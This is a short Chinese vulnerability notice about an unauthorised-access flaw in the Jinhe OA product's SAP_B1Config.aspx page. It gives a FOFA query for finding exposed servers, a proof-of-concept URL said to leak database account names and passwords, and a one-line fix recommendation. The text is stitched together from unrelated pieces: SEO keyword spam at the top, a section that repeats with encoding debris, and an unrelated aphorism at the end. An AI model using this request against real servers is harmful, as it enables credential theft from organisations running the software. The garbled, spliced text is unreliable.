健身网站开发方式,专业制作网站哪家好,ftp网站怎么建立,建网站的公司公司产品简介
金和网络是专业信息化服务商#xff0c;为城市监管部门提供了互联网监管解决方案#xff0c;为企事业单位提供组织协同OA系统升开发平台#xff0c;电子政务一体化平台智慧电商平合等服务
漏洞概述
金和OA SAP_B1Config.aspx存在未授权访问漏洞#xff0c;攻击…产品简介
金和网络是专业信息化服务商为城市监管部门提供了互联网监管解决方案为企事业单位提供组织协同OA系统升开发平台电子政务一体化平台智慧电商平合等服务
漏洞概述
金和OA SAP_B1Config.aspx存在未授权访问漏洞攻击者可通过此漏洞获取数据库的账户密码等敏感信息。
指纹识别
fofa:
app金和网络-金和OA漏洞利用
poc:
/C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage1泄露数据库的连接账户和密码
修复建议
联系软件厂商更新至最新安全版本 【有些话可以不说透自欺欺人就可以糊涂一世打打闹闹轻轻松松。】
